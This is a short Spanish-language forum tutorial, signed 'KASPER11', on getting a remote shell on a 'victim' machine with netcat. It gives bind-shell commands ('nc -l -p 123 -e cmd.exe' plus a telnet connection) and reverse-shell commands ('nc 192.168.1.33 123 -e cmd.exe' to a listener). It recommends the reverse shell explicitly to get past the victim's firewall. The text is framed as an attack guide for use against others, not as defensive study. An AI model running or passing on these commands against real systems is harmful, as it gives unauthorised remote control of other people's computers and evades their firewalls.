BY:KASPER11
Hay dos maneras de conseguir shell por conexión directa o inversa, mostraré las dos pero os aconsejo que useis la inversa ya que os saltais unos cuantos firewalls
Conexión Directa
En este tipo de conexión tú te conectas a la victima, el funcionamiento sería el siguiente:
Código:
nc -l -p 123 -e cmd.exe
[+]-l:Activa el modo escucha de nc
[+]-P: Permite a nc elejir el puerto
[+]-e: Permite ejecutar un comando, en nuestro caso cmd.exe (Shell)
Ese sería el comando que tendría que ejecutar la víctima
Código:
Telnet 192.168.1.33 123
Y ahi es donde nosotros nos tendríamos que conectar, entonces ya tendriamos Shell :P
Inversa
Código:
nc -v -l -p 123
[+]-v: Informa del estado de Netcat
[+]-l:Activa el modo escucha de nc
[+]-P: Permite a nc elejir el puerto
Esos serían los comandos que tenemos que teclear, mientras que nuestra víctima tiene que ejcutar los siguientes comandos
Código:
nc 192.168.1.33 123 -e cmd.exe
Con lo que la Shell la consigue el usuario que esta en escucha en este caso nosotros, y asi tenemos shell y evitamos que no salte el firewall de nuestra victima :P
Esto es todo, espero que os haya gustado el tutorial saludos¡¡¡¡